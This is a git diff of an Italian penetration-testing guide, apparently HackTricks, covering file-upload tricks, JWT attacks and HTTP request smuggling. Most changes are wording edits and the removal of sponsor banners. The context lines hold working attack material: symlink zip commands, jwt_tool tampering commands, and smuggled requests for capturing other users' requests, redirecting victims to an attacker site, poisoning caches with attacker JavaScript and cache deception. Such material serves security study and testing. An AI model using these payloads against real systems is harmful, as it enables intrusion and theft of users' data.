 Se stai cercando di caricare file su un **server PHP**, [dai un'occhiata al trucco **.htaccess** per eseguire codice](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
 Se stai cercando di caricare file su un **server ASP**, [dai un'occhiata al trucco **.config** per eseguire codice](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
 
-I file `.phar` sono come i `.jar` per java, ma per php, e possono essere **utilizzati come un file php** (eseguendolo con php, o includendolo all'interno di uno script...)
+I file `.phar` sono come i `.jar` per java, ma per php, e possono essere **usati come un file php** (eseguendolo con php, o includendolo all'interno di uno script...)
 
-L'estensione `.inc` è a volte utilizzata per file php che vengono utilizzati solo per **importare file**, quindi, a un certo punto, qualcuno potrebbe aver consentito **l'esecuzione di questa estensione**.
+L'estensione `.inc` è a volte usata per file php che sono solo usati per **importare file**, quindi, a un certo punto, qualcuno potrebbe aver permesso **che questa estensione fosse eseguita**.
 
 ## **Jetty RCE**
 
@@ -112,7 +107,7 @@ Se puoi caricare un file XML su un server Jetty puoi ottenere [RCE perché **nuo
 
 Per un'esplorazione dettagliata di questa vulnerabilità controlla la ricerca originale: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
 
-Le vulnerabilità di Remote Command Execution (RCE) possono essere sfruttate nei server uWSGI se si ha la capacità di modificare il file di configurazione `.ini`. I file di configurazione uWSGI sfruttano una sintassi specifica per incorporare variabili "magiche", segnaposto e operatori. Notabilmente, l'operatore '@', utilizzato come `@(filename)`, è progettato per includere i contenuti di un file. Tra i vari schemi supportati in uWSGI, lo schema "exec" è particolarmente potente, consentendo la lettura dei dati dall'output standard di un processo. Questa funzionalità può essere manipolata per scopi nefasti come Remote Command Execution o Arbitrary File Write/Read quando un file di configurazione `.ini` viene elaborato. 
+Le vulnerabilità di Remote Command Execution (RCE) possono essere sfruttate nei server uWSGI se si ha la capacità di modificare il file di configurazione `.ini`. I file di configurazione uWSGI sfruttano una sintassi specifica per incorporare variabili "magiche", segnaposto e operatori. In particolare, l'operatore '@', utilizzato come `@(filename)`, è progettato per includere il contenuto di un file. Tra i vari schemi supportati in uWSGI, lo schema "exec" è particolarmente potente, consentendo la lettura dei dati dall'output standard di un processo. Questa funzionalità può essere manipolata per scopi nefasti come Remote Command Execution o Arbitrary File Write/Read quando un file di configurazione `.ini` viene elaborato.
 
 Considera il seguente esempio di un file `uwsgi.ini` dannoso, che mostra vari schemi:
 ```ini
@@ -162,7 +157,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
 
 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
 ```
-Nota che **un'altra opzione** che potresti considerare per bypassare questo controllo è far sì che il **server HTTP reindirizzi a un file diverso**, in modo che l'URL iniziale bypassi il controllo e poi wget scaricherà il file reindirizzato con il nuovo nome. Questo **non funzionerà** **a meno che** wget non venga utilizzato con il **parametro** `--trust-server-names` perché **wget scaricherà la pagina reindirizzata con il nome del file indicato nell'URL originale**.
+Nota che **un'altra opzione** che potresti considerare per bypassare questo controllo è far **reindirizzare il server HTTP a un file diverso**, in modo che l'URL iniziale bypassi il controllo e poi wget scaricherà il file reindirizzato con il nuovo nome. Questo **non funzionerà** **a meno che** wget non venga utilizzato con il **parametro** `--trust-server-names` perché **wget scaricherà la pagina reindirizzata con il nome del file indicato nell'URL originale**.
 
 ## Strumenti
 
@@ -210,13 +205,13 @@ Ecco una lista delle 10 cose che puoi ottenere caricando (da [qui](https://twitt
 
 Fai riferimento a [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) per altri tipi di file.
 
-### Upload di file Zip/Tar automaticamente decompresso
+### Upload di file Zip/Tar automaticamente decompressi
 
 Se puoi caricare un ZIP che verrà decompresso all'interno del server, puoi fare 2 cose:
 
 #### Symlink
 
-Carica un link contenente collegamenti simbolici ad altri file, quindi, accedendo ai file decompresso accederai ai file collegati:
+Carica un link contenente collegamenti simbolici ad altri file, quindi, accedendo ai file decompressi accederai ai file collegati:
 ```
 ln -s ../../../index.php symindex.txt
 zip --symlinks test.zip symindex.txt
@@ -303,9 +298,9 @@ Maggiore informazione in: [https://www.idontplaydarts.com/2012/06/encoding-web-s
 
 I file poliglotti servono come uno strumento unico nella cybersecurity, agendo come camaleonti che possono esistere validamente in più formati di file contemporaneamente. Un esempio intrigante è un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un ibrido che funziona sia come GIF che come archivio RAR. Tali file non sono limitati a questa accoppiata; combinazioni come GIF e JS o PPT e JS sono anche fattibili.
 
-L'utilità principale dei file poliglotti risiede nella loro capacità di eludere le misure di sicurezza che filtrano i file in base al tipo. La prassi comune in varie applicazioni prevede di consentire solo determinati tipi di file per il caricamento—come JPEG, GIF o DOC—per mitigare il rischio posto da formati potenzialmente dannosi (ad es., JS, PHP o file Phar). Tuttavia, un poliglott, conformandosi ai criteri strutturali di più tipi di file, può eludere furtivamente queste restrizioni.
+L'utilità principale dei file poliglotti risiede nella loro capacità di eludere le misure di sicurezza che filtrano i file in base al tipo. La pratica comune in varie applicazioni prevede di consentire solo determinati tipi di file per il caricamento—come JPEG, GIF o DOC—per mitigare il rischio posto da formati potenzialmente dannosi (ad es., JS, PHP o file Phar). Tuttavia, un poliglott, conformandosi ai criteri strutturali di più tipi di file, può eludere furtivamente queste restrizioni.
 
-Nonostante la loro adattabilità, i poliglotti incontrano delle limitazioni. Ad esempio, mentre un poliglott potrebbe contemporaneamente incarnare un file PHAR (PHp ARchive) e un JPEG, il successo del suo caricamento potrebbe dipendere dalle politiche delle estensioni dei file della piattaforma. Se il sistema è rigoroso riguardo alle estensioni consentite, la mera dualità strutturale di un poliglott potrebbe non essere sufficiente a garantire il suo caricamento.
+Nonostante la loro adattabilità, i poliglotti incontrano limitazioni. Ad esempio, mentre un poliglott potrebbe contemporaneamente incarnare un file PHAR (PHp ARchive) e un JPEG, il successo del suo caricamento potrebbe dipendere dalle politiche delle estensioni dei file della piattaforma. Se il sistema è rigoroso riguardo alle estensioni consentite, la mera dualità strutturale di un poliglott potrebbe non essere sufficiente a garantire il suo caricamento.
 
 Maggiore informazione in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
 
@@ -318,10 +313,5 @@ Maggiore informazione in: [https://medium.com/swlh/polyglot-files-a-hackers-best
 - [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
 - [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
 
-

-
-Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta fluente in polacco scritto e parlato_).
-
-{% embed url="https://www.stmcyber.com/careers" %}
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/hacking-jwt-json-web-tokens.md b/src/pentesting-web/hacking-jwt-json-web-tokens.md
index 864504836..8a6904277 100644
--- a/src/pentesting-web/hacking-jwt-json-web-tokens.md
+++ b/src/pentesting-web/hacking-jwt-json-web-tokens.md
@@ -2,18 +2,12 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-

-
-Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta conoscenza fluente del polacco, scritto e parlato_).
-
-{% embed url="https://www.stmcyber.com/careers" %}
-
 **Parte di questo post si basa sul fantastico post:** [**https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology)\
 **Autore del grande strumento per pentestare i JWT** [**https://github.com/ticarpi/jwt_tool**](https://github.com/ticarpi/jwt_tool)
 
 ### **Vittorie Veloci**
 
-Esegui [**jwt_tool**](https://github.com/ticarpi/jwt_tool) con la modalità `All Tests!` e aspetta le righe verdi
+Esegui [**jwt_tool**](https://github.com/ticarpi/jwt_tool) con modalità `All Tests!` e aspetta le righe verdi
 ```bash
 python3 jwt_tool.py -M at \
 -t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
@@ -23,7 +17,7 @@ Se sei fortunato, lo strumento troverà qualche caso in cui l'applicazione web c
 
 ![](<../images/image (935).png>)
 
-Poi, puoi cercare la richiesta nel tuo proxy o dumpare il JWT utilizzato per quella richiesta usando jwt\_ tool:
+Poi, puoi cercare la richiesta nel tuo proxy o scaricare il JWT utilizzato per quella richiesta usando jwt\_ tool:
 ```bash
 python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
 ```
@@ -109,7 +103,7 @@ Quando l'affermazione `kid` è presente nell'intestazione, è consigliabile cerc
 
 #### Traversata del Percorso con "kid"
 
-L'affermazione `kid` potrebbe anche essere sfruttata per navigare attraverso il file system, consentendo potenzialmente la selezione di un file arbitrario. È possibile testare la connettività o eseguire attacchi di Server-Side Request Forgery (SSRF) modificando il valore `kid` per mirare a file o servizi specifici. Alterare il JWT per cambiare il valore `kid` mantenendo la firma originale può essere realizzato utilizzando il flag `-T` in jwt_tool, come dimostrato di seguito:
+L'affermazione `kid` potrebbe anche essere sfruttata per navigare attraverso il file system, consentendo potenzialmente la selezione di un file arbitrario. È possibile testare la connettività o eseguire attacchi di Server-Side Request Forgery (SSRF) modificando il valore `kid` per mirare a file o servizi specifici. Manipolare il JWT per cambiare il valore `kid` mantenendo la firma originale può essere realizzato utilizzando il flag `-T` in jwt_tool, come dimostrato di seguito:
 ```bash
 python3 jwt_tool.py  -I -hc kid -hv "../../dev/null" -S hs256 -p ""
 ```
@@ -134,7 +128,7 @@ Uno scenario in cui il parametro `kid` specifica un percorso di file utilizzato
 #### jku
 
 jku sta per **JWK Set URL**.\
-Se il token utilizza un claim di **Header** “**jku**” allora **controlla l'URL fornito**. Questo dovrebbe puntare a un URL contenente il file JWKS che detiene la chiave pubblica per verificare il token. Modifica il token per puntare il valore jku a un servizio web che puoi monitorare per il traffico.
+Se il token utilizza un claim di **Header** “**jku**” allora **controlla l'URL fornito**. Questo dovrebbe puntare a un URL contenente il file JWKS che detiene la chiave pubblica per verificare il token. Modifica il token per puntare il valore jku a un servizio web per cui puoi monitorare il traffico.
 
 Prima devi creare un nuovo certificato con nuove chiavi private e pubbliche.
 ```bash
@@ -155,7 +149,7 @@ print("e:", hex(key.e))
 ```
 #### x5u
 
-URL X.509. Un URI che punta a un insieme di certificati pubblici X.509 (uno standard di formato di certificato) codificati in forma PEM. Il primo certificato nell'insieme deve essere quello utilizzato per firmare questo JWT. I certificati successivi firmano ciascuno il precedente, completando così la catena di certificati. X.509 è definito in RFC 52807. È necessaria la sicurezza del trasporto per trasferire i certificati.
+X.509 URL. Un URI che punta a un insieme di certificati pubblici X.509 (uno standard di formato di certificato) codificati in forma PEM. Il primo certificato nell'insieme deve essere quello utilizzato per firmare questo JWT. I certificati successivi firmano ciascuno il precedente, completando così la catena di certificati. X.509 è definito in RFC 52807. È necessaria la sicurezza del trasporto per trasferire i certificati.
 
 Prova a **cambiare questo header in un URL sotto il tuo controllo** e verifica se viene ricevuta qualche richiesta. In tal caso, **potresti manomettere il JWT**.
 
@@ -240,7 +234,7 @@ Tuttavia, immagina una situazione in cui la lunghezza massima dell'ID è 4 (0001
 
 **Controllo di Scadenza dei Token**
 
-La scadenza del token viene controllata utilizzando il claim "exp" Payload. Dato che i JWT vengono spesso impiegati senza informazioni di sessione, è necessaria una gestione attenta. In molti casi, catturare e ripetere il JWT di un altro utente potrebbe consentire l'impostazione di quell'utente. L'RFC JWT raccomanda di mitigare gli attacchi di ripetizione JWT utilizzando il claim "exp" per impostare un tempo di scadenza per il token. Inoltre, è cruciale l'implementazione di controlli pertinenti da parte dell'applicazione per garantire l'elaborazione di questo valore e il rifiuto dei token scaduti. Se il token include un claim "exp" e i limiti di tempo di test lo consentono, si consiglia di memorizzare il token e ripeterlo dopo che il tempo di scadenza è passato. Il contenuto del token, inclusa l'analisi del timestamp e il controllo della scadenza (timestamp in UTC), può essere letto utilizzando il flag -R di jwt_tool.
+La scadenza del token viene controllata utilizzando il claim "exp" Payload. Dato che i JWT vengono spesso impiegati senza informazioni di sessione, è necessaria una gestione attenta. In molti casi, catturare e ripetere il JWT di un altro utente potrebbe consentire l'impostazione di quell'utente. Il RFC JWT raccomanda di mitigare gli attacchi di ripetizione JWT utilizzando il claim "exp" per impostare un tempo di scadenza per il token. Inoltre, è cruciale l'implementazione di controlli pertinenti da parte dell'applicazione per garantire l'elaborazione di questo valore e il rifiuto dei token scaduti. Se il token include un claim "exp" e i limiti di tempo di test lo consentono, si consiglia di memorizzare il token e ripeterlo dopo che il tempo di scadenza è passato. Il contenuto del token, inclusa l'analisi del timestamp e il controllo della scadenza (timestamp in UTC), può essere letto utilizzando il flag -R di jwt_tool.
 
 - Potrebbe essere presente un rischio per la sicurezza se l'applicazione continua a convalidare il token, poiché ciò potrebbe implicare che il token non potrebbe mai scadere.
 
@@ -248,10 +242,5 @@ La scadenza del token viene controllata utilizzando il claim "exp" Payload. Dato
 
 {% embed url="https://github.com/ticarpi/jwt_tool" %}
 
-

-
-Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
-
-{% embed url="https://www.stmcyber.com/careers" %}
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/http-request-smuggling/README.md b/src/pentesting-web/http-request-smuggling/README.md
index 7af1d27e5..683fb4162 100644
--- a/src/pentesting-web/http-request-smuggling/README.md
+++ b/src/pentesting-web/http-request-smuggling/README.md
@@ -2,17 +2,9 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

-
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
-
-**Trova e segnala vulnerabilità critiche ed esploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
-
 ## Cos'è
 
-Questa vulnerabilità si verifica quando una **desincronizzazione** tra i **proxy front-end** e il server **back-end** consente a un **attaccante** di **inviare** una **richiesta** HTTP che sarà **interpretata** come una **singola richiesta** dai **proxy front-end** (load balance/reverse-proxy) e **come 2 richieste** dal server **back-end**.\
+Questa vulnerabilità si verifica quando una **desincronizzazione** tra i **proxy front-end** e il server **back-end** consente a un **attaccante** di **inviare** una **richiesta** HTTP che sarà **interpretata** come una **singola richiesta** dai **proxy front-end** (bilanciamento del carico/reverse-proxy) e **come 2 richieste** dal server **back-end**.\
 Questo consente a un utente di **modificare la prossima richiesta che arriva al server back-end dopo la sua**.
 
 ### Teoria
@@ -28,25 +20,25 @@ Questo consente a un utente di **modificare la prossima richiesta che arriva al
 **Transfer-Encoding: chunked**
 
 > L'intestazione Transfer-Encoding specifica la forma di codifica utilizzata per trasferire in modo sicuro il corpo del payload all'utente.\
-> Chunked significa che grandi dati vengono inviati in una serie di chunk.
+> Chunked significa che i dati di grandi dimensioni vengono inviati in una serie di chunk.
 
 ### Realtà
 
-Il **Front-End** (un load-balance / Reverse Proxy) **elabora** l'header _**content-length**_ o l'header _**transfer-encoding**_ e il server **Back-end** **elabora l'altro**, provocando una **desincronizzazione** tra i 2 sistemi.\
-Questo potrebbe essere molto critico poiché **un attaccante sarà in grado di inviare una richiesta** al reverse proxy che sarà **interpretata** dal server **back-end** **come 2 richieste diverse**. Il **pericolo** di questa tecnica risiede nel fatto che il server **back-end** **interpreta** la **2ª richiesta iniettata** come se **venisse dal prossimo client** e la **vera richiesta** di quel client sarà **parte** della **richiesta iniettata**.
+Il **Front-End** (un bilanciatore di carico / Reverse Proxy) **elabora** l'header _**content-length**_ o l'header _**transfer-encoding**_ e il server **Back-end** **elabora l'altro**, provocando una **desincronizzazione** tra i 2 sistemi.\
+Questo potrebbe essere molto critico poiché **un attaccante sarà in grado di inviare una richiesta** al reverse proxy che sarà **interpretata** dal server **back-end** **come 2 richieste diverse**. Il **pericolo** di questa tecnica risiede nel fatto che il server **back-end** **interpreta** la **2ª richiesta iniettata** come se **provenisse dal prossimo client** e la **vera richiesta** di quel client sarà **parte** della **richiesta iniettata**.
 
 ### Particolarità
 
 Ricorda che in HTTP **un carattere di nuova riga è composto da 2 byte:**
 
-- **Content-Length**: Questa intestazione utilizza un **numero decimale** per indicare il **numero** di **byte** del **corpo** della richiesta. Si prevede che il corpo termini nell'ultimo carattere, **una nuova riga non è necessaria alla fine della richiesta**.
+- **Content-Length**: Questa intestazione utilizza un **numero decimale** per indicare il **numero** di **byte** del **corpo** della richiesta. Si prevede che il corpo termini nell'ultimo carattere, **non è necessaria una nuova riga alla fine della richiesta**.
 - **Transfer-Encoding:** Questa intestazione utilizza nel **corpo** un **numero esadecimale** per indicare il **numero** di **byte** del **prossimo chunk**. Il **chunk** deve **terminare** con una **nuova riga** ma questa nuova riga **non è conteggiata** dall'indicatore di lunghezza. Questo metodo di trasferimento deve terminare con un **chunk di dimensione 0 seguito da 2 nuove righe**: `0`
 - **Connection**: Basato sulla mia esperienza, è consigliato utilizzare **`Connection: keep-alive`** nella prima richiesta dello smuggling.
 
 ## Esempi di Base
 
 > [!TIP]
-> Quando cerchi di sfruttare questo con Burp Suite **disabilita `Update Content-Length` e `Normalize HTTP/1 line endings`** nel ripetitore perché alcuni gadget abusano delle nuove righe, dei ritorni a capo e dei content-length malformati.
+> Quando si cerca di sfruttare questo con Burp Suite **disabilitare `Update Content-Length` e `Normalize HTTP/1 line endings`** nel ripetitore perché alcuni gadget abusano delle nuove righe, dei ritorni a capo e dei content-length malformati.
 
 Gli attacchi di HTTP request smuggling sono creati inviando richieste ambigue che sfruttano le discrepanze nel modo in cui i server front-end e back-end interpretano gli header `Content-Length` (CL) e `Transfer-Encoding` (TE). Questi attacchi possono manifestarsi in diverse forme, principalmente come **CL.TE**, **TE.CL** e **TE.TE**. Ogni tipo rappresenta una combinazione unica di come i server front-end e back-end danno priorità a questi header. Le vulnerabilità sorgono dal fatto che i server elaborano la stessa richiesta in modi diversi, portando a risultati imprevisti e potenzialmente dannosi.
 
@@ -116,8 +108,8 @@ x=
 - **Scenario di Attacco:**
 
 - L'attaccante invia una richiesta con intestazioni `Transfer-Encoding` offuscate.
-- A seconda di quale server (front-end o back-end) non riesce a riconoscere l'offuscamento, potrebbe essere sfruttata una vulnerabilità CL.TE o TE.CL.
-- La parte non elaborata della richiesta, come vista da uno dei server, diventa parte di una richiesta successiva, portando allo smuggling.
+- A seconda di quale server (front-end o back-end) non riesce a riconoscere l'offuscamento, può essere sfruttata una vulnerabilità CL.TE o TE.CL.
+- La parte non elaborata della richiesta, come vista da uno dei server, diventa parte di una richiesta successiva, portando a smuggling.
 - **Esempio:**
 
 ```
@@ -169,9 +161,9 @@ Corpo Non Vuoto
 
 #### Scenario TE.0
 
-- Come il precedente ma utilizzando TE
+- Come il precedente ma utilizzando TE.
 - Tecnica [riportata qui](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
-- **Esempio:**
+- **Esempio**:
 ```
 OPTIONS / HTTP/1.1
 Host: {HOST}
@@ -334,7 +326,7 @@ Al contrario, nell'attacco TE.CL, la richiesta iniziale `POST` utilizza `Transfe
 
 Le applicazioni spesso impiegano un **server front-end** per modificare le richieste in arrivo prima di passarle al server back-end. Una modifica tipica comporta l'aggiunta di intestazioni, come `X-Forwarded-For: `, per trasmettere l'IP del client al back-end. Comprendere queste modifiche può essere cruciale, poiché potrebbe rivelare modi per **bypassare le protezioni** o **scoprire informazioni o endpoint nascosti**.
 
-Per indagare su come un proxy altera una richiesta, trova un parametro POST che il back-end restituisce nella risposta. Quindi, crea una richiesta, utilizzando questo parametro per ultimo, simile al seguente:
+Per indagare su come un proxy altera una richiesta, individua un parametro POST che il back-end restituisce nella risposta. Quindi, crea una richiesta, utilizzando questo parametro per ultimo, simile al seguente:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@@ -353,15 +345,15 @@ search=
 ```
 In questa struttura, i componenti della richiesta successiva vengono aggiunti dopo `search=`, che è il parametro riflesso nella risposta. Questa riflessione esporrà le intestazioni della richiesta successiva.
 
-È importante allineare l'intestazione `Content-Length` della richiesta annidata con la lunghezza effettiva del contenuto. È consigliabile iniziare con un valore basso e aumentare gradualmente, poiché un valore troppo basso tratterrà i dati riflessi, mentre un valore troppo alto può causare un errore nella richiesta.
+È importante allineare l'intestazione `Content-Length` della richiesta annidata con la lunghezza effettiva del contenuto. È consigliabile iniziare con un valore basso e incrementare gradualmente, poiché un valore troppo basso tratterrà i dati riflessi, mentre un valore troppo alto può causare un errore nella richiesta.
 
 Questa tecnica è applicabile anche nel contesto di una vulnerabilità TE.CL, ma la richiesta dovrebbe terminare con `search=\r\n0`. Indipendentemente dai caratteri di nuova riga, i valori verranno aggiunti al parametro di ricerca.
 
-Questo metodo serve principalmente a comprendere le modifiche alla richiesta effettuate dal proxy front-end, eseguendo essenzialmente un'indagine autogestita.
+Questo metodo serve principalmente a comprendere le modifiche alla richiesta effettuate dal proxy front-end, eseguendo essenzialmente un'indagine autodiretta.
 
 ### Catturare le richieste di altri utenti 
 
-È possibile catturare le richieste del prossimo utente aggiungendo una richiesta specifica come valore di un parametro durante un'operazione POST. Ecco come può essere realizzato:
+È possibile catturare le richieste dell'utente successivo aggiungendo una richiesta specifica come valore di un parametro durante un'operazione POST. Ecco come può essere realizzato:
 
 Aggiungendo la seguente richiesta come valore di un parametro, puoi memorizzare la richiesta del cliente successivo:
 ```
@@ -432,7 +424,7 @@ Manipolando il `User-Agent` tramite smuggling, il payload elude i normali vincol
 
 La versione HTTP/0.9 era precedente alla 1.0 e utilizza solo verbi **GET** e **non** risponde con **intestazioni**, solo il corpo.
 
-In [**questo writeup**](https://mizu.re/post/twisty-python), questo è stato abusato con uno smuggling di richieste e un **endpoint vulnerabile che risponderà con l'input dell'utente** per smuggler una richiesta con HTTP/0.9. Il parametro che verrà riflesso nella risposta conteneva una **finta risposta HTTP/1.1 (con intestazioni e corpo)** quindi la risposta conterrà codice JS eseguibile valido con un `Content-Type` di `text/html`.
+In [**questo writeup**](https://mizu.re/post/twisty-python), questo è stato abusato con uno smuggling di richieste e un **endpoint vulnerabile che risponderà con l'input dell'utente** per smuggler una richiesta con HTTP/0.9. Il parametro che verrà riflesso nella risposta conteneva una **falsa risposta HTTP/1.1 (con intestazioni e corpo)** quindi la risposta conterrà codice JS eseguibile valido con un `Content-Type` di `text/html`.
 
 ### Sfruttare i reindirizzamenti in loco con HTTP Request Smuggling 
 
@@ -460,7 +452,7 @@ GET /home HTTP/1.1
 Host: attacker-website.com
 Foo: X
 ```
-Questa richiesta di smuggling potrebbe causare la successiva richiesta dell'utente elaborata a essere reindirizzata a un sito web controllato dall'attaccante:
+Questa richiesta di smuggling potrebbe causare la reindirizzazione della prossima richiesta utente elaborata a un sito web controllato dall'attaccante:
 ```
 GET /home HTTP/1.1
 Host: attacker-website.com
@@ -480,7 +472,7 @@ Il web cache poisoning può essere eseguito se qualsiasi componente dell'**infra
 
 In precedenza, abbiamo osservato come le risposte del server potessero essere modificate per restituire un errore 404 (fare riferimento a [Esempi di Base](./#basic-examples)). Allo stesso modo, è possibile ingannare il server per consegnare il contenuto di `/index.html` in risposta a una richiesta per `/static/include.js`. Di conseguenza, il contenuto di `/static/include.js` viene sostituito nella cache con quello di `/index.html`, rendendo `/static/include.js` inaccessibile agli utenti, potenzialmente portando a un Denial of Service (DoS).
 
-Questa tecnica diventa particolarmente potente se viene scoperta una **vulnerabilità di Open Redirect** o se c'è un **reindirizzamento in loco a un open redirect**. Tali vulnerabilità possono essere sfruttate per sostituire il contenuto memorizzato nella cache di `/static/include.js` con uno script sotto il controllo dell'attaccante, abilitando essenzialmente un attacco Cross-Site Scripting (XSS) diffuso contro tutti i client che richiedono il `/static/include.js` aggiornato.
+Questa tecnica diventa particolarmente potente se viene scoperta una **vulnerabilità di Open Redirect** o se c'è un **reindirizzamento in loco a un open redirect**. Tali vulnerabilità possono essere sfruttate per sostituire il contenuto memorizzato nella cache di `/static/include.js` con uno script sotto il controllo dell'attaccante, consentendo essenzialmente un attacco Cross-Site Scripting (XSS) diffuso contro tutti i client che richiedono il `/static/include.js` aggiornato.
 
 Di seguito è riportata un'illustrazione di sfruttare **l'avvelenamento della cache combinato con un reindirizzamento in loco a un open redirect**. L'obiettivo è modificare il contenuto della cache di `/static/include.js` per servire codice JavaScript controllato dall'attaccante:
 ```
@@ -506,14 +498,14 @@ Dopo un **avvelenamento del socket** riuscito, dovrebbe essere avviata una **ric
 
 Successivamente, qualsiasi richiesta per `/static/include.js` servirà il contenuto memorizzato nella cache dello script dell'attaccante, avviando efficacemente un ampio attacco XSS.
 
-### Utilizzare l'hacking delle richieste HTTP per eseguire la deception della cache web 
+### Utilizzare l'HTTP request smuggling per eseguire la web cache deception 
 
-> **Qual è la differenza tra avvelenamento della cache web e deception della cache web?**
+> **Qual è la differenza tra avvelenamento della cache web e inganno della cache web?**
 >
 > - Nell'**avvelenamento della cache web**, l'attaccante costringe l'applicazione a memorizzare del contenuto dannoso nella cache, e questo contenuto viene servito dalla cache ad altri utenti dell'applicazione.
-> - Nella **deception della cache web**, l'attaccante costringe l'applicazione a memorizzare del contenuto sensibile appartenente a un altro utente nella cache, e l'attaccante poi recupera questo contenuto dalla cache.
+> - Nell'**inganno della cache web**, l'attaccante costringe l'applicazione a memorizzare del contenuto sensibile appartenente a un altro utente nella cache, e l'attaccante poi recupera questo contenuto dalla cache.
 
-L'attaccante crea una richiesta di contrabbando che recupera contenuti sensibili specifici per l'utente. Considera il seguente esempio:
+L'attaccante crea una richiesta smuggled che recupera contenuti sensibili specifici per l'utente. Considera il seguente esempio:
 ```markdown
 `POST / HTTP/1.1`\
 `Host: vulnerable-website.com`\
@@ -524,11 +516,11 @@ L'attaccante crea una richiesta di contrabbando che recupera contenuti sensibili
 `GET /private/messages HTTP/1.1`\
 `Foo: X`
 ```
-Se questa richiesta di smuggling avvelena un'entrata della cache destinata a contenuti statici (ad esempio, `/someimage.png`), i dati sensibili della vittima da `/private/messages` potrebbero essere memorizzati nella cache sotto l'entrata della cache dei contenuti statici. Di conseguenza, l'attaccante potrebbe potenzialmente recuperare questi dati sensibili memorizzati nella cache.
+Se questa richiesta di smuggling avvelena un'entrata della cache destinata a contenuti statici (ad es., `/someimage.png`), i dati sensibili della vittima da `/private/messages` potrebbero essere memorizzati nella cache sotto l'entrata della cache dei contenuti statici. Di conseguenza, l'attaccante potrebbe potenzialmente recuperare questi dati sensibili memorizzati nella cache.
 
 ### Abusare di TRACE tramite HTTP Request Smuggling 
 
-[**In questo post**](https://portswigger.net/research/trace-desync-attack) si suggerisce che se il server ha abilitato il metodo TRACE potrebbe essere possibile abusarne con un HTTP Request Smuggling. Questo perché questo metodo rifletterà qualsiasi intestazione inviata al server come parte del corpo della risposta. Ad esempio:
+[**In questo post**](https://portswigger.net/research/trace-desync-attack) si suggerisce che se il server ha abilitato il metodo TRACE, potrebbe essere possibile abusarne con un HTTP Request Smuggling. Questo perché questo metodo rifletterà qualsiasi intestazione inviata al server come parte del corpo della risposta. Ad esempio:
 ```
 TRACE / HTTP/1.1
 Host: example.com
@@ -545,13 +537,13 @@ Host: vulnerable.com
 XSS: 
 X-Forwarded-For: xxx.xxx.xxx.xxx
 ```
-Un esempio su come abusare di questo comportamento sarebbe **smuggler prima una richiesta HEAD**. Questa richiesta verrà risposta solo con le **intestazioni** di una richiesta GET (**`Content-Type`** tra esse). E smuggler **immediatamente dopo la HEAD una richiesta TRACE**, che sarà **riflettente i dati inviati**.\
+Un esempio su come abusare di questo comportamento sarebbe **smuggler prima una richiesta HEAD**. Questa richiesta verrà risposta solo con le **intestazioni** di una richiesta GET (**`Content-Type`** tra esse). E smuggler **immediatamente dopo la HEAD una richiesta TRACE**, che rifletterà i dati inviati.\
 Poiché la risposta HEAD conterrà un'intestazione `Content-Length`, la **risposta della richiesta TRACE sarà trattata come il corpo della risposta HEAD, riflettendo quindi dati arbitrari** nella risposta.\
 Questa risposta sarà inviata alla richiesta successiva sulla connessione, quindi potrebbe essere **utilizzata in un file JS memorizzato nella cache, ad esempio per iniettare codice JS arbitrario**.
 
 ### Abusare di TRACE tramite HTTP Response Splitting 
 
-Continuando a seguire [**questo post**](https://portswigger.net/research/trace-desync-attack) viene suggerito un altro modo per abusare del metodo TRACE. Come commentato, smuggler una richiesta HEAD e una richiesta TRACE rende possibile **controllare alcuni dati riflessi** nella risposta alla richiesta HEAD. La lunghezza del corpo della richiesta HEAD è fondamentalmente indicata nell'intestazione Content-Length ed è formata dalla risposta alla richiesta TRACE.
